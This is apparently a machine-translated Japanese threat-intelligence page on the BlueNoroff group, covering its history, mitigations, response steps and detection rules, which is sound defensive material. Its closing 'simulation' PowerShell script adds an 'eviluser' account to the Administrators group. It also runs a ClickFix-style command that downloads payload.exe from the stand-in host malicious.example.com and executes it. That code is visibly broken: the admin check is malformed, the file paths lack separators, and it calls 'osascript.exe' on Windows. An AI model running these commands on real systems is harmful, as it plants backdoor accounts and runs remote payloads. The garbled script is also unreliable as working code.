BlueNoroffグループ: ラザルスの金融サイバー犯罪部門
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
BlueNoroffは、銀行、暗号通貨企業、広範なWeb3ターゲットに対する高価値窃盗作戦に焦点を当てた、Lazarusエコシステム内の資金志向サブグループです。このグループのプレイブックは、SWIFTを利用した詐欺、ウォータリングホールの侵害、Goパッケージのサプライチェーン中毒、および偽の「面接」ルアーを中心としたmacOS侵入パスを含んでいます。実行と持続性を達成するために、BlueNoroffはモジュール化されたRust/GoマルウェアスタックをAppleScript、VBScript、ソーシャルエンジニアリングワークフローと組み合わせて、ユーザーの警戒を回避し、正当な開発および管理活動に統合します。
調査
このレポートは、2016年のバングラデシュ銀行強盗から最近の2025年のサプライチェーン活動までのBlueNoroffの軌跡を追い、その役者のツールとターゲッティングがどのように拡大したかを強調しています。研究者は、インフラストラクチャのパターンを説明し、GhostCall、GhostHire、RustBucket、GillyInjectorを含むマルウェアコンポーネントをカタログ化しています。また、調査は観察された行動をMITRE ATT&CKに段階別にマッピングし、偵察から初期アクセス、実行、持続性、資格情報窃盗までを包括して、ステルス性の足場、段階的ペイロード配信、窃盗準備されたアクセスパスに一貫した焦点をあてていることを強調しています。
緩和策
供給チェーンの継続的な衛生状態の確認によって曝露を減少させます: 公的なレジストリから引き出すパッケージの検証、固定および出所の管理の強制、予期しない保守者またはコードの変更に対して継続的に依存関係の更新をレビューします。macOSでは、LaunchAgent/LaunchDaemonのガバナンスを強化し、疑わしい持続性のエントリや署名のないツールを監視します。ルアー配信に使用される類似ドメインをブロックし、特権アイデンティティと外部に公開されたサービスのためにMFAを施行し、既知の悪意のあるスクリプト、ローダー、および役者に関連するパッキング技術の検出を運用化します。定期的な脅威インテリジェンスの更新を維持し、スピアフィッシングと「採用/面接」型のソーシャルエンジニアリングパターンに焦点を当てたユーザートレーニングを強化します。
対応
BlueNoroffの指標が発見された場合、影響を受けたホストを隔離し、完全なコマンドライン、スクリプトコンテンツ、およびドロップされたバイナリやパッケージアーティファクトを含む鍵となる証拠を保存します。悪意のあるドメインとC2 IPをブロックし、資格窃盗とサプライチェーン妥協シナリオに沿ったインシデント対応プレイブックを実行します。AppleScriptおよびVBScriptの実行チェーン、そして報告された疑わしいPowerShellパターンに対する検出を導入または調整し、同じルアー、依存関係、またはインフラストラクチャの重複に曝された追加のエンドポイントを特定するために狩猟を拡大します。
攻撃フロー
検出
可能なシステムネットワーク構成ディスカバリー(cmdlineを通じて)
表示
可能性のあるリモートシステム探索または接続性チェック(cmdlineを通じて)
表示
オートスタート位置にある疑わしいバイナリ / スクリプト(file_eventを通じて)
表示
管理アカウントまたはグループの列挙の可能性(cmdlineを通じて)
表示
検出すべきIOC(Email):BlueNoroffグループ:Lazarusの金融サイバー犯罪部門
表示
悪意のあるAppleScriptとClickFixコマンド実行の検出 [Windowsプロセス作成]
表示
Netコマンドによるローカルおよびドメインユーザーの列挙 [Windows Sysmon]
表示
BlueNoroff PowerShell難読化とエンコーディングの検出 [Windows Powershell]
表示
シミュレーション実行
前提条件:テレメトリー&ベースラインプリフライトチェックが合格していること。
根拠:このセクションでは、検出ルールを発動するために設計された敵の技術(TTP)の正確な実行を詳述します。コマンドとナラティブはTTPとして特定されたものを直接反映し、検出ロジックによって予想される正確なテレメトリーを生成することを目的とする必要があります。抽象的または無関係な例は誤診を招くでしょう。
-
攻撃のナラティブ&コマンド:
- AppleScriptの実行(T1546.016) – 敵対者は悪意のある
payload.scptをエンドポイントにドロップします(例:フィッシングの添付ファイルを通じて)。プリインストールされているosascript.exe(サードパーティツールと同梱)を使用して、ローカルの管理者アカウントを追加するPowerShellペイロードを実行するためにスクリプトを起動します。 - ClickFixクリップボード配信(T1204.004) – 攻撃者は、Zoomスタイルのユーザーエージェントを用いて
curlを呼び出す巧妙に作成されたコマンドをクリップボードにコピーし、次に直ちにcmd.exeによって第二段階のペイロードをダウンロードして実行します。コマンドには、インラインでpowershell.exe -cを使ってメモリ上でペイロードを実行するための呼び出しが含まれています。
- AppleScriptの実行(T1546.016) – 敵対者は悪意のある
-
回帰テストスクリプト: 以下のスクリプトは、両方の動作を決定的な方法で再現します。
#----- BEGIN REGRESSION TEST SCRIPT ----- # Ensure we are running with administrative privileges if (-not ([Security.Principal.WindowsPrincipal] ` [Security.Principal.WindowsBuiltInRole] "Administrator")) { Write-Error "Run this script as Administrator." exit 1 } # 1. AppleScript execution via osascript.exe $appleScriptPath = "$env:TEMPmalicious.scpt" Set-Content -Path $appleScriptPath -Value @" tell application "System Events" do shell script "powershell -c `"Add-LocalGroupMember -Group 'Administrators' -Member 'eviluser'`"" end tell "@ # Execute the AppleScript Start-Process -FilePath "osascript.exe" -ArgumentList "`"$appleScriptPath`"" -NoNewWindow -Wait # 2. ClickFix style clipboard delivery $clickFixCmd = 'curl -A "ZoomSDK" http://malicious.example.com/payload.exe -o $env:TEMPpayload.exe && powershell.exe -c "Start-Process $env:TEMPpayload.exe"' # Run via cmd.exe to match rule condition Start-Process -FilePath "cmd.exe" -ArgumentList "/c `$clickFixCmd" -NoNewWindow -Wait # Cleanup: remove artifacts Remove-Item -Path $appleScriptPath -Force Remove-Item -Path "$env:TEMPpayload.exe" -Force -ErrorAction SilentlyContinue # End of script #----- END REGRESSION TEST SCRIPT ----- -
クリーンアップコマンド: プロセス、ファイル、およびテストユーザーアカウントの残骸を削除します。
# ストッププロセス (防御的 – 通常は不要です) Get-Process -Name "osascript","cmd","powershell","payload" -ErrorAction SilentlyContinue | Stop-Process -Force # 一時ファイルを削除する Remove-Item -Path "$env:TEMPmalicious.scpt" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPpayload.exe" -Force -ErrorAction SilentlyContinue # テストアドミンアカウントが作成されていた場合は削除する if (Get-LocalUser -Name "eviluser" -ErrorAction SilentlyContinue) { Remove-LocalUser -Name "eviluser" }